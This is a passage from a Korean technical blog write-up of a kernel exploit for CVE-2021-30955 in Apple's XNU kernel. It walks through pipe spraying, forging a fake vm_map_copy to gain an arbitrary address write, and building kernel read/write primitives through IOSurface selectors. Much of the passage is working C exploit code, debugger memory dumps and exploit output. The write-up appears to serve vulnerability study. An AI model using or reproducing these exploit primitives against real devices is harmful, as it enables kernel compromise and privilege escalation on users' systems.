write(opipe[1], pipe_buf, KALLOC_SIZE);\n                    printf(&quot;[*] Wrote fake vm_map_copy ptr, ret = 0x%x\\n&quot;, ret);\n                    \n                    pthread_t thread;\n                    pthread_create(&amp;thread, NULL, (void*)after_thread, (void*)pipefds);\n                   \n                    \/*\n                     this will basically do:\n                        entry-&gt;next-&gt;prev = entry-&gt;prev;\n                        entry-&gt;prev-&gt;next = entry-&gt;next;\n                     \n                     and then it'll hang until mapping_in_progress is unset\n                    *\/\n                    printf(&quot;[*] Writing fake IOSurfaceClient ptr\\n&quot;);\n                    mach_port_destroy(mach_task_self(), dest);\n                    \n                    printf(&quot;[-] Exploit failed\\n&quot;);\n                    return;\n                }\n...\n}\n<\/code><\/pre>\n<p>ENABLE_HELPER \ub9e4\ud06c\ub85c\ub97c \ud65c\uc131\ud654\ud55c \ub4a4\uc5d0 \uc2e4\ud589 \uacb0\uacfc\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<p>\uc5ec\uae30\uc11c \uc54c \uc218 \uc788\ub294 \uc815\ubcf4\ub294:<\/p>\n<ul>\n<li>overlapped\ub41c ikm_header \uc8fc\uc18c\ub294 <code>0xfffffe22886d7098<\/code> \uc774\ub2e4.<\/li>\n<li>\ud504\ub85c\ud30c\uc77c\ub9c1\ub41c \ubc14\uc774\ud504\ucee4\ub110 \ubc84\ud37c \uc8fc\uc18c(KHEAP_DATA_MAPPABLE_LOC)\ub294 <code>0xfffffe2287d80000<\/code>\uc778\ub370, \uadf8\uc5d0 \ud574\ub2f9\ub418\ub294 \ud30c\uc774\ud504 \uc77d\uae30\uc6a9 \ub514\uc2a4\ud06c\ub9bd\ud130\uac12\uc740 0x49f\uc774\ub2e4.<\/li>\n<\/ul>\n<p>\uc2e4\ud589 \uc774\ud6c4\uc5d0\ub294 fake vm_map_copy \ub0b4\uc6a9\uc774 \uc801\ud78c \ud504\ub85c\ud30c\uc77c\ub9c1\ub41c \ud30c\uc774\ud504 \ubc84\ud37c \uc8fc\uc18c\uac00 OOL \ub514\uc2a4\ud06c\ub9bd\ud130 \uc8fc\uc18c \ub300\uc2e0\uc5d0 \uc368\uc84c\uc744 \uac83\uc774\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">seo@seos-Mac ~ % .\/exp\n...\nAllocated kmsg, ikm_header = 0xfffffe22886d7098, i = 527\n[+] Found ikm_header at pipe nr. 895\n[+] Leaked ool ports buffer: 0xfffffe3000890000\n[+] Calculated IOSurfaceClient array address: 0xfffffe3000880000\n[!] orig surfClients: 0xfffffe3000880000\n...\n[*] kspace; Allocated pipe kaddr = 0xfffffe2287d80000, rfd = 0x49f\n...\n\n[*] Writing fake vm_map_copy ptr\n[*] Wrote fake vm_map_copy ptr, ret = 0x4000\n[*] Writing fake IOSurfaceClient ptr\n<\/code><\/pre>\n<p>\ub514\ubc84\uae45 \ub0b4\uc6a9\uc744 \uc0b4\ud3b4\ubcf4\uba74, OOL \ub514\uc2a4\ud06c\ub9bd\ud130 \uc8fc\uc18c\ub4e4 \uc911 \uc5b4\ub290 \ud558\ub098\uac00 \ud504\ub85c\ud30c\uc77c\ub9c1 \ud30c\uc774\ud504 \uc8fc\uc18c(KHEAP_DATA_MAPPABLE_LOC)\uc778 <code>0xfffffe2287d80000<\/code>\uac00 \ub4e4\uc5b4\uac04\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/Screenshot_2026-01-24_at_8.52.12_PM.png\" alt=\"Screenshot 2026-01-24 at 8.52.12\u202fPM.png\"><\/p>\n<p>\uadf8\ub9ac\uace0 <code>mach_port_destroy<\/code> \uc218\ud589\ud6c4\uc5d0 IOSurfaceClients \ubc30\uc5f4 \uc8fc\uc18c\uc778 <code>0xfffffe3000880000<\/code> \uac12\uc744 \uc0b4\ud3b4\ubcf4\uba74,\nsurfaceID 20\ubc88\uc758 IOSurfaceClient \uac1d\uccb4\uc5d0 \ud574\ub2f9\ub418\ub294 \uacf3\uc778 0xfffffe30008800a0\uc5d0\ub294\n0xfffffe2287d82000(\ud30c\uc774\ud504\ubc84\ud37c \uc8fc\uc18c+0x2000) \uac12\uc774 \uc801\ud78c \uac83\uc744 \ubcfc \uc218 \uc788\ub2e4.<\/p>\n<p><code>mach_port_destroy<\/code> \uc218\ud589 \uc804:<\/p>\n<pre><code class=\"language-cpp\">(lldb) x\/32gx 0xfffffe3000880000\n0xfffffe3000880000: 0x0000000000000000 0x0000000000000000\n0xfffffe3000880010: 0x0000000000000000 0x0000000000000000\n0xfffffe3000880020: 0x0000000000000000 0x0000000000000000\n0xfffffe3000880030: 0x0000000000000000 0x0000000000000000\n0xfffffe3000880040: 0x0000000000000000 0x0000000000000000\n0xfffffe3000880050: 0x0000000000000000 0x0000000000000000\n0xfffffe3000880060: 0x0000000000000000 0x0000000000000000\n0xfffffe3000880070: 0x0000000000000000 0x0000000000000000\n0xfffffe3000880080: 0x0000000000000000 0x0000000000000000\n0xfffffe3000880090: 0x0000000000000000 0x0000000000000000\n0xfffffe30008800a0: 0xfffffe1514cb6bc0(WILL BE MODIFIED) 0xfffffe1514cb6c60\n0xfffffe30008800b0: 0xfffffe1514cb6d00 0xfffffe1514cb6da0\n0xfffffe30008800c0: 0xfffffe1514cb6e40 0xfffffe1514cb6ee0\n0xfffffe30008800d0: 0xfffffe1514cb6f80 0xfffffe1514cb7020\n0xfffffe30008800e0: 0xfffffe1514cb70c0 0xfffffe1514cb7160\n0xfffffe30008800f0: 0xfffffe1514cb7200 0xfffffe1514cb72a0\n<\/code><\/pre>\n<p><code>mach_port_destroy<\/code> \uc218\ud589 \ud6c4:<\/p>\n<pre><code class=\"language-cpp\">(lldb) x\/32gx 0xfffffe3000880000\n0xfffffe3000880000: 0x0000000000000000 0x0000000000000000\n0xfffffe3000880010: 0x0000000000000000 0x0000000000000000\n0xfffffe3000880020: 0x0000000000000000 0x0000000000000000\n0xfffffe3000880030: 0x0000000000000000 0x0000000000000000\n0xfffffe3000880040: 0x0000000000000000 0x0000000000000000\n0xfffffe3000880050: 0x0000000000000000 0x0000000000000000\n0xfffffe3000880060: 0x0000000000000000 0x0000000000000000\n0xfffffe3000880070: 0x0000000000000000 0x0000000000000000\n0xfffffe3000880080: 0x0000000000000000 0x0000000000000000\n0xfffffe3000880090: 0x0000000000000000 0x0000000000000000\n0xfffffe30008800a0: 0xfffffe2287d82000(HAS BEEN MODIFIED) 0xfffffe1514cb6c60\n0xfffffe30008800b0: 0xfffffe1514cb6d00 0xfffffe1514cb6da0\n0xfffffe30008800c0: 0xfffffe1514cb6e40 0xfffffe1514cb6ee0\n0xfffffe30008800d0: 0xfffffe1514cb6f80 0xfffffe1514cb7020\n0xfffffe30008800e0: 0xfffffe1514cb70c0 0xfffffe1514cb7160\n0xfffffe30008800f0: 0xfffffe1514cb7200 0xfffffe1514cb72a0\n<\/code><\/pre>\n<p>\uc5b4\ub5bb\uac8c IOSurfaceClients \ubc30\uc5f4\uc5d0 \uc784\uc758\ub85c \uc8fc\uc18c \uc4f0\uae30(AAW; Arbitrary Address Write)\uac00 \uac00\ub2a5\ud55c\uac78\uae4c?\n\uc9e7\uac8c \ub2f5\ud558\uc790\uba74, fake vm_map_copy \ub0b4\uc6a9\uc744 \uae30\ubc18\uc73c\ub85c \ub0b4\ubd80\uc801\uc73c\ub85c <code>_vm_map_entry_unlink_ll<\/code>\uc744 \ud638\ucd9c\ud558\ub294\ub370, \uc5ec\uae30\uc11c \uc784\uc758 \uc8fc\uc18c \uac12\uc4f0\uae30\ub97c \ud560 \uc218 \uc788\uc5c8\uae30 \ub54c\ubb38\uc774\ub2e4.<\/p>\n<p>\ud638\ucd9c \uc2a4\ud0dd\uc744 \uc0b4\ud3b4\ubcf4\uc790\uba74 \uc544\ub798\uc640 \uac19\ub2e4.<\/p>\n<p><code>mach_port_destroy<\/code>\n\u2192 <code>ipc_right_destroy<\/code>\n\u2192 <code>ipc_port_destroy<\/code>\n\u2192 <code>ipc_kmsg_reap_delayed<\/code>\n\u2192 <code>ipc_kmsg_clean<\/code>\n\u2192 <code>ipc_kmsg_clean_body<\/code>\n\u2192 <code>vm_map_copy_discard<\/code>\n\u2192 <code>vm_map_copy_entry_unlink<\/code>\n\u2192 <code>_vm_map_store_entry_unlink<\/code>\n\u2192 <code>vm_map_store_entry_unlink_ll<\/code>\n\u2192 <code>_vm_map_entry_unlink_ll<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/Drawing_2026-01-22_08.18.37.excalidraw_1_1-fs8.png\" alt=\"Drawing 2026-01-22 08.18.37.excalidraw 1 1-fs8.png\"><\/p>\n<p>\uac00\uc9dc \ub370\uc774\ud130\ub97c \uc0dd\uc131\ud568\uc5d0 \uc788\uc11c, \uc8fc\uc694 \ub0b4\uc6a9\uc744 \uc0b4\ud3b4\ubcf4\uc790\uba74 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<ol>\n<li>Fake vm_map_copy \ub0b4\uc6a9:<\/li>\n<\/ol>\n<ul>\n<li>type = VM_MAP_COPY_ENTRY_LIST<\/li>\n<\/ul>\n<p><code>vm_map_copy_discard<\/code>\ub97c \uc218\ud589\ud560\ub54c \ub0b4\ubd80\uc801\uc73c\ub85c <code>vm_map_copy_entry_unlink<\/code>\ub97c \ud638\ucd9c\ud558\ub3c4\ub85d AAW\ud560\ub54c \ud544\uc694\ud558\ub2e4.<\/p>\n<ul>\n<li>c_u.hdr.links.next = (\ud504\ub85c\ud30c\uc77c\ub9c1\ub41c \ud30c\uc774\ud504\ubc84\ud37c \ucee4\ub110 \uc8fc\uc18c +0x1000)<\/li>\n<li>c_u.hdr.nentries = 1<\/li>\n<li>c_u.hdr.rb_head_store.rbh_root = 0xFFFFFFFFBAADC0D1<\/li>\n<\/ul>\n<p>0xFFFFFFFFBAADC0D1(SKIP_RB_TREE) \uac12\uc744 \uc801\uc5b4\ub193\uc73c\uba74, <code>vm_map_store_entry_unlink<\/code> \ud638\ucd9c\uc744 \ubc29\uc9c0\ud560 \uc218 \uc788\ub2e4.<\/p>\n<ol>\n<li>Fake vm_map_entry(= fake vm_map_copy\u2019s c_u.hdr.links.next) \ub0b4\uc6a9:<\/li>\n<\/ol>\n<ul>\n<li>links.prev = (\ud504\ub85c\ud30c\uc77c\ub9c1\ub41c \ud30c\uc774\ud504\ubc84\ud37c \ucee4\ub110 \uc8fc\uc18c +0x2000)<\/li>\n<li>links.next = IOSurfaceClients \ubc30\uc5f4 \uc911 surfaceID 20\ubc88\uc758 IOSurfaceClient \uac1d\uccb4\uc5d0 \ud574\ub2f9\ub418\ub294 \uacf3<\/li>\n<\/ul>\n<p>IOSurfaceClient \uac1d\uccb4\uc5d0 \ud574\ub2f9\ub418\ub294 \uacf3\uc5d0 (\ud504\ub85c\ud30c\uc77c\ub9c1\ub41c \ud30c\uc774\ud504\ubc84\ud37c \ucee4\ub110 \uc8fc\uc18c +0x2000)\uac12\uc744 \uc801\uae30 \uc704\ud574\uc11c \ud544\uc694\ud558\ub2e4.<\/p>\n<ul>\n<li>vme_object.vmo_object \/ vme_object.vmo_submap =  (\ud504\ub85c\ud30c\uc77c\ub9c1\ub41c \ud30c\uc774\ud504\ubc84\ud37c \ucee4\ub110 \uc8fc\uc18c +0x3000)<\/li>\n<\/ul>\n<ol>\n<li>Fake vm_object(= fake vm_map_entry\u2019s vme_object.vmo_object) \ub0b4\uc6a9:<\/li>\n<\/ol>\n<ul>\n<li>Lock.word.can_sleep = 1<\/li>\n<\/ul>\n<p>&quot;Taking non-sleepable RW lock with preemption enabled\u201d \ud328\ub2c9 \ubc29\uc9c0\uc6a9\uc73c\ub85c \ud544\uc694.<\/p>\n<ul>\n<li>ref_count = 2<\/li>\n<li>named = 1<\/li>\n<\/ul>\n<p><code>vm_object_deallocate<\/code>\uc5d0\uc11c <code>if((object-&gt;ref_count == 2) &amp;&amp; (object-&gt;named)) {<\/code> \uc870\uac74\uc744 \uc131\ub9bd\uc2dc\ud0a4\uae30 \uc704\ud574 \ud544\uc694 (xnu-8019.41.5\/osfmk\/vm\/vm_object.c:768)<\/p>\n<ul>\n<li>pager = 0x1337<\/li>\n<\/ul>\n<p><code>vm_object_deallocate<\/code>\uc5d0\uc11c <code>if (pager != MEMORY_OBJECT_NULL) {<\/code> \uc870\uac74\uc744 \uc131\ub9bd\uc2dc\ud0a4\uae30 \uc704\ud574 \ud544\uc694 (xnu-8019.41.5\/osfmk\/vm\/vm_object.c:774)<\/p>\n<ul>\n<li>all_wanted = 8<\/li>\n<\/ul>\n<p>(\uc65c 8\ub85c \uc138\ud2b8\ub41c\uac74\uc9c0\ub294 \uc798 \ubaa8\ub974\uaca0\uc74c\u2026)<\/p>\n<ul>\n<li>mapping_in_progress = 1<\/li>\n<\/ul>\n<p><code>mapping_in_progress<\/code>\ub97c \uc138\ud2b8\uc2dc\ud0a8 \uc774\uc720\ub294 <code>vm_map_copy_discard<\/code>\uc5d0\uc11c AAW\ub97c \uc704\ud574 <code>vm_map_copy_entry_unlink<\/code>\ub97c \uc218\ud589\ud55c \uc774\ud6c4\uc5d0 \ub2e4\uc2dc \ub3cc\uc544\uc640\uc11c\n<code>vm_object_deallocate<\/code> \u2192 <code>vm_ampping_object_wait<\/code>\uc5d0\uc11c \ubb34\ud55c \ub300\uae30\uc2dc\ud0a4\uae30 \uc704\ud574\uc11c\uc774\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/Drawing_2026-01-10_12.04.07.excalidraw_2-fs8.png\" alt=\"Drawing 2026-01-10 12.04.07.excalidraw 2-fs8.png\"><\/p>\n<p>\uac00\uc9dc \ub370\uc774\ud130 \uad6c\uc131 \ub0b4\uc6a9\uacfc \ud568\uaed8 \uc784\uc758 \uc8fc\uc18c\uc5d0 \uac12 \uc4f0\uae30(AAW)\uac00 \uc5b4\ub5bb\uac8c \uc774\ub8e8\uc5b4\uc9c0\ub294\uc9c0,\n\uadf8\ub9bc\uc73c\ub85c \ub098\ud0c0\ub0b4\uba74 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/Drawing_2026-01-22_08.18.37.excalidraw_1_2-fs8.png\" alt=\"Drawing 2026-01-22 08.18.37.excalidraw 1 2-fs8.png\"><\/p>\n<h2>7. IOSurface \ucee4\ub110 \uc77d\uae30\/\uc4f0\uae30\uc6a9\uc73c\ub85c \uc0ac\uc6a9\ub418\uc5b4\uc9c8 \ud30c\uc774\ud504 \ub514\uc2a4\ud06c\ub9bd\ud130\uac12 \ucc3e\uae30<\/h2>\n<p><code>after_thread<\/code>\uc5d0\uc11c 6\ubc88\uc9f8 \uacfc\uc815\uc778 \u201cIOSurfaceClients \ubc30\uc5f4\uc5d0 AAW\ud558\uae30\u201d\uac00 \uc644\ub8cc\ub420\ub54c\uae4c\uc9c0 \ucda9\ubd84\ud788 1\ucd08\uc815\ub3c4 \ub300\uae30\ud55c\ub2e4.<\/p>\n<p>2\ubc88\uc9f8 \ud30c\uc774\ud504 \uc2a4\ud504\ub808\uc774\ud588\uc744\ub54c, <code>pipefds<\/code> \ubc30\uc5f4\uc5d0 \uc800\uc7a5\ud574\ub480\ub358 \ub514\uc2a4\ud06c\ub9bd\ud130 \uac12\ub4e4\uc744 \ud1b5\ud574 \ubc84\ud37c \ub0b4\uc6a9\uc744 \uc5c5\ub370\uc774\ud2b8\ud55c\ub2e4.<\/p>\n<p>\uadf8\ub7ec\uba74 <code>IOSurfaceRootUserClient::s_get_ycbcrmatrix<\/code> \uc140\ub809\ud130\ub97c \ud638\ucd9c\ud588\uc744\ub54c\n\ud30c\uc774\ud504 \ubc84\ud37c \ub0b4\uc6a9\uc758 \ud2b9\uc815 \uc624\ud504\uc14b \uc704\uce58\ud55c \ud30c\uc774\ud504 \ub514\uc2a4\ud06c\ub9bd\ud130\uac12\uc774 \uc77d\ud788\uba74\uc11c,\n\uc5b4\ub290 \ud30c\uc774\ud504\uac00 IOSurface \ucee4\ub110 \uc77d\uae30\/\uc4f0\uae30\uc6a9\uc73c\ub85c \uc0ac\uc6a9\ub418\ub294\uc9c0 \ud655\uc778\ud560 \uc218 \uc788\ub2e4.<\/p>\n<p>\ud655\uc778 \uc774\ud6c4\uc5d0\ub294 IOSurface \uac1d\uccb4\uac00 (\ud504\ub85c\ud30c\uc77c\ub9c1\ub41c \ud30c\uc774\ud504\ubc84\ud37c \ucee4\ub110 \uc8fc\uc18c +0x3000)\uc73c\ub85c \uac00\ub9ac\ud0a4\ub3c4\ub85d \ubcf5\uc6d0\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">\/\/ how many pipes to spray\n#define N_SPRAY 900\n\nvoid after_thread(int *pipefds) {\n    \/\/ wait a little bit\n    sleep(1);\n\n    \/\/ which pipefd are we using on?\n    int pipe_count = N_SPRAY;\n    for(int i = 0; i &lt; pipe_count; i++) {\n        read(pipefds[2 * i], gBuf, 0x4000);\n        *(uint64_t*)((gBuf + 0x2000) + 0x40) = (gBuf_kspace + 0x4000-0x10) - 0xb4;  \/\/gBuf + 0x2000 = fake_IOSC; will read from (gBuf_kspace + 0x4000-0x10)\n        *(uint16_t *)(gBuf + 0x4000 - 0x10) = pipefds[2 * i];   \/\/to determine which pipefd will be used for krw\n        *(uint16_t *)(gBuf + 0x4000 - 0x10 + 2) = pipefds[2 * i + 1];   \/\/to determine which pipefd will be used for krw\n        write(pipefds[2 * i + 1], gBuf, 0x4000-1);\n    }\n    uint32_t pipefd_leak;\n    int ret = IOSurface_get_ycbcrmatrix(IOSRUC[1], surfaces[1][0], &amp;pipefd_leak);\n    rfd = pipefd_leak &amp; 0xffff;\n    wfd = (pipefd_leak &gt;&gt; 16) &amp; 0xFFFF;\n    printf(&quot;[i] pipefd_leak = 0x%x, rfd = 0x%x, wfd = 0x%x\\n&quot;, pipefd_leak, rfd, wfd);\n    getchar();\n\n    \/\/restore\n    for(int i = 0; i &lt; pipe_count; i++) {\n        read(pipefds[2 * i], gBuf, 0x4000);\n        *(uint64_t*)((gBuf + 0x2000) + 0x40) = (uint64_t)(gBuf_kspace+0x3000);\n        write(pipefds[2 * i + 1], gBuf, 0x4000-1);\n    }\n    ...\n}\n\nvoid exploit() {\n                    ...   \n                    struct vm_map_copy *copy = gBuf;     \n                    ...\n                    \n                    fake_IOSC = gBuf + 0x2000; \/\/ fake IOSurfaceClient\n                    fake_IOS = gBuf + 0x3000; \/\/ fake IOSurface\n                    \n                    *(uint64_t*)(fake_IOS + 0x358) = (uint64_t)(gBuf_kspace+0x2000) + 0x1000; \/\/ fake timestamp array = fake ycbcrmatrix array\n                    *(uint64_t*)(fake_IOSC + 0x40) = (uint64_t)(gBuf_kspace+0x3000);                            \n                    ...\n                    printf(&quot;[*] Wrote fake IOSurfaceClient ptr\\n&quot;);\n                    mach_port_destroy(mach_task_self(), dest);\n                    ...\n}\n<\/code><\/pre>\n<p>\uc27d\uac8c \uc774\ud574\ud558\uae30 \uc704\ud574 \uadf8\ub9bc\uc73c\ub85c \ub098\ud0c0\ub0b4\uba74 \uc544\ub798\uc640 \uac19\ub2e4.<\/p>\n<p>\ud558\ub098\uc758 IOSurfaceClient \uac1d\uccb4 \ub0b4\uc6a9\uc744 \ud30c\uc774\ud504 \uc77d\uae30\/\uc4f0\uae30\ub85c \uc81c\uc5b4\ud568\uc73c\ub85c\uc368,\n+0x40 \uc624\ud504\uc14b\uc5d0 \uc704\uce58\ud55c IOSurface \ub610\ud55c \uc27d\uac8c \uc81c\uc5b4\ud560 \uc218 \uc788\ub2e4.\nIOSurface_obj+0xb4\uc5d0 \uae30\ub85d\ub41c pipe \ud30c\uc77c \ub514\uc2a4\ud06c\ub9bd\ud130 \uac12\uc744 <code>IOSurfaceRootUserClient::s_get_ycbcrmatrix<\/code> \uc140\ub809\ud130\ub97c \ud638\ucd9c\ud558\uc5ec \uc77d\uc744 \uc218 \uc788\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/Drawing_2026-01-25_15.17.40.excalidraw-fs8.png\" alt=\"Drawing 2026-01-25 15.17.40.excalidraw-fs8.png\"><\/p>\n<h2>8. \ucee4\ub110 \uc77d\uae30\/\uc4f0\uae30<\/h2>\n<p>\ucee4\ub110 \uc4f0\uae30\uc5d0\uc11c\ub294 <code>IOSurfaceRootUserClient::s_set_indexed_timestamp<\/code> \uc140\ub809\ud130,\n\ucee4\ub110 \uc77d\uae30\uc5d0\uc11c\ub294 <code>IOSurfaceRootUserClient::s_get_ycbcrmatrix<\/code> \uc140\ub7ed\ud130\ub97c \uc774\uc6a9\ud55c\ub2e4.<\/p>\n<p>\ub9c8\ucc2c\uac00\uc9c0\ub85c,\n\ud30c\uc774\ud504 \uc77d\uae30\/\uc4f0\uae30\ub97c \ud1b5\ud574 IOSurfaceClient \uac1d\uccb4 \ub0b4\uc6a9\uc744 \uc81c\uc5b4\ud558\uc5ec, \ud574\ub2f9 \uac1d\uccb4\uc5d0\uc11c \uac00\ub77c\ud0a4\ub294 IOSurface \uac1d\uccb4\ub0b4\uc6a9 \ub9c8\uc800 \uc81c\uc5b4\ud560 \uc218 \uc788\ub2e4.<\/p>\n<p>KHEAP_DATA_MAPPABLE_LOC+0x4000-0x20, \uc989 0xfffffe2287d83fe0 \ucee4\ub110 \uc8fc\uc18c\uc5d0\ub2e4\uac00 0x4142434445464748\ub77c\ub294 \uc784\uc758 \uac12\uc744 \uc4f4\ub2e4. \uadf8\ub9ac\uace0 \ud574\ub2f9 \uc8fc\uc18c\uc5d0\uc11c \uc77d\uc5c8\uc744\ub54c \uac12\uc774 0x4142434445464748\ub85c \ub098\uc628\ub2e4\uba74, \ucee4\ub110 \uc77d\uae30\/\uc4f0\uae30\ub97c \ub2ec\uc131\ud558\ub294\ub370 \uc131\uacf5\ud55c \uac83\uc774\ub77c\uace0 \ubcfc \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">&gt;&gt;&gt; hex(0xfffffe2287d80000 + 0x4000 - 0x20)\n'0xfffffe2287d83fe0'\n<\/code><\/pre>\n<pre><code class=\"language-cpp\">void after_thread(int *pipefds) {\n    ...\n\n    uint64_t kptr = KHEAP_DATA_MAPPABLE_LOC + 0x4000 - 0x20;\n    wk64(kptr, 0x4142434445464748);\n    printf(&quot;[i] Wrote: 0x%llx\\n&quot;, 0x4142434445464748);\n    printf(&quot;[i] Read back: 0x%llx -&gt; 0x%llx\\n&quot;, kptr, rk64(kptr));\n    printf(&quot;[i] Unfortunately, there's no cleanup for this exploit...\\n&quot;);\n    printf(&quot;[i] anyway done, spinning here!\\n\\n&quot;);\n    while(1) {};\n}\n\n\/\/ these are racy, should put locks, but this is just an exploit, so idc\nuint32_t rk32(uint64_t addr) {\n    read(rfd, gBuf, 0x4000);\n    *(uint64_t*)(fake_IOSC + 0x40) = addr - 0xb4;\n    write(wfd, gBuf, 0x4000-1);\n\n    uint32_t val;\n    int ret = IOSurface_get_ycbcrmatrix(IOSRUC[1], surfaces[1][0], &amp;val);\n\n    read(rfd, gBuf, 0x4000);\n    *(uint64_t*)(fake_IOSC + 0x40) = (uint64_t)fake_IOS;\n    write(wfd, gBuf, 0x4000-1);\n    \n    if (ret) {\n        printf(&quot;[-][rk32] Error get_ycbcrmatrix: %s\\n&quot;, mach_error_string(ret));\n        return 0;\n    }\n    return val;\n}\n\nuint64_t rk64(uint64_t addr) {\n    uint32_t val1 = rk32(addr);\n    uint64_t val2 = rk32(addr + 4);\n    uint64_t val64 = val1 | (val2 &lt;&lt; 32);\n    return val64;\n}\n\nint wk64(uint64_t addr, uint64_t what) {\n    read(rfd, gBuf, 0x4000);\n    *(uint64_t*)(fake_IOS + 0x358) = addr;\n    write(wfd, gBuf, 0x4000-1);\n\n    int ret = IOSurface_set_indexed_timestamp(IOSRUC[1], surfaces[1][0], 0, what);\n\n    read(rfd, gBuf, 0x4000);\n    *(uint64_t*)(fake_IOS + 0x358) = (uint64_t)fake_IOS + 0x1000;\n    write(wfd, gBuf, 0x4000-1);\n\n    if (ret) {\n        printf(&quot;[-][wk64] Error set_indexed_timestamp: %s\\n&quot;, mach_error_string(ret));\n        return ret;\n    }\n    return 0;\n}\n\nvoid exploit() {\n                    ...   \n                    struct vm_map_copy *copy = gBuf;     \n                    ...\n                    \n                    fake_IOSC = gBuf + 0x2000; \/\/ fake IOSurfaceClient\n                    fake_IOS = gBuf + 0x3000; \/\/ fake IOSurface\n                    \n                    *(uint64_t*)(fake_IOS + 0x358) = (uint64_t)(gBuf_kspace+0x2000) + 0x1000; \/\/ fake timestamp array = fake ycbcrmatrix array\n                    *(uint64_t*)(fake_IOSC + 0x40) = (uint64_t)(gBuf_kspace+0x3000);                            \n                    ...\n                    printf(&quot;[*] Wrote fake IOSurfaceClient ptr\\n&quot;);\n                    mach_port_destroy(mach_task_self(), dest);\n                    ...\n}\n<\/code><\/pre>\n<p>\ub9c8\ucc2c\uac00\uc9c0\ub85c, \uc774\ud574\ud558\uae30 \uc704\ud574 \uadf8\ub9bc\uc73c\ub85c \ub098\ud0c0\ub0b4\uba74 \uc544\ub798\uc640 \uac19\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/Drawing_2026-01-25_15.17.40.excalidraw_1-fs8.png\" alt=\"Drawing 2026-01-25 15.17.40.excalidraw 1-fs8.png\"><\/p>\n<h1>\uc775\uc2a4\ud50c\ub85c\uc787 \uc815\ub9ac \uc791\uc5c5\uc5d0 \uad00\ud558\uc5ec\u2026<\/h1>\n<p><code>mach_port_destroy<\/code> \ud568\uc218\ub97c \uc218\ud589\ud560\ub54c\n\ub0b4\ubd80\uc801\uc73c\ub85c <code>ipc_kmsg_free<\/code> \uc5d0\uc11c <code>kmsg-&gt;ikm_data<\/code>\uc640 <code>kmsg-&gt;ikm_header<\/code> \ubc14\uc6b4\ub4dc \uccb4\ud06c\ub97c \ud558\uace0 \uc788\ub2e4.<\/p>\n<p>\uc774\uc804 6\ubc88 \uacfc\uc815\uc5d0\uc11c <code>vm_ampping_object_wait<\/code>\uc5d0\uc11c \ubb34\ud55c \ub300\uae30\ud558\uae30 \uc704\ud574 mapping_in_progress \uc138\ud2b8\ub97c \ud574\uc81c\uc2dc\ud0a4\uace0 \uacc4\uc18d \uc2e4\ud589\uc2dc\ud0a4\uac8c\ub054 \ub9cc\ub4e0\ub2e4\uba74, \ubc14\uc6b4\ub4dc \uccb4\ud06c \uc2e4\ud328\ub85c \uc778\ud558\uc5ec <code>ipc_kmsg_free<\/code> \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud55c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/image%201.png\" alt=\"image.png\"><\/p>\n<p>\uadf8\ub807\ub2e4\uba74, ikm_header \ud544\ub4dc\uac12\uacfc ikm_data \ud544\ub4dc\uac12\uc744 \uc218\uc815\ud574\ubcf4\uba74 \ud574\uacb0\ub418\uc9c0 \uc54a\uc744\uae4c \uc2f6\uc5b4\uc11c\n\ud655\uc778\ud574\ubd24\ub354\ub2c8 \uc548\ud0c0\uae5d\uac8c\ub3c4 PAC \uc11c\uba85\uc73c\ub85c \uc778\ud574 \ud568\ubd80\ub85c \uc218\uc815\ud558\uc9c0 \ubabb\ud55c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/image%202.png\" alt=\"image.png\"><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/Screenshot_2026-01-25_at_4.28.48_PM.png\" alt=\"Screenshot 2026-01-25 at 4.28.48\u202fPM.png\"><\/p>\n<h1>+\ubcf4\ub108\uc2a4) multicast_bytecopy_A9<\/h1>\n<p><a href=\"https:\/\/github.com\/wh1te4ever\/multicast_bytecopy_A9\">https:\/\/github.com\/wh1te4ever\/multicast_bytecopy_A9<\/a><\/p>\n<p>\uc544\uc774\ud3f0 6s \uae30\uae30\ub294 multicast_bytecopy \uc775\uc2a4\ud50c\ub85c\uc787\uc774 \uc5c4\uccad \ub0ae\uc740 \ud655\ub960\ub85c \uc791\ub3d9\ud55c\ub2e4.<\/p>\n<p>\ud574\ub2f9 \uc775\uc2a4\ud50c\ub85c\uc787\uc740 \uc218\ud589 \uacfc\uc815\uc5d0\uc11c \ucee4\ub110 \uba54\ubaa8\ub9ac\ub97c KHEAP_DATA_BUFFERS\/KHEAP_DEFAULT\ub4f1 \uc11c\ub85c \ub2e4\ub978 \ud0c0\uc785\uc73c\ub85c <strong>\uc2a4\ud504\ub808\uc774\ud55c\ub2e4. \uae30\uc874\uc5d0 \uc9c0\uc6d0\ud588\ub358 \uae30\uae30\ub4e4\uc758 \uacbd\uc6b0, \ud574\ub2f9 \ud0c0\uc785\ub4e4\uc5d0 \ub300\ud55c<\/strong> \uac70\uc758 \ud56d\uc0c1 \ub3d9\uc77c\ud55c 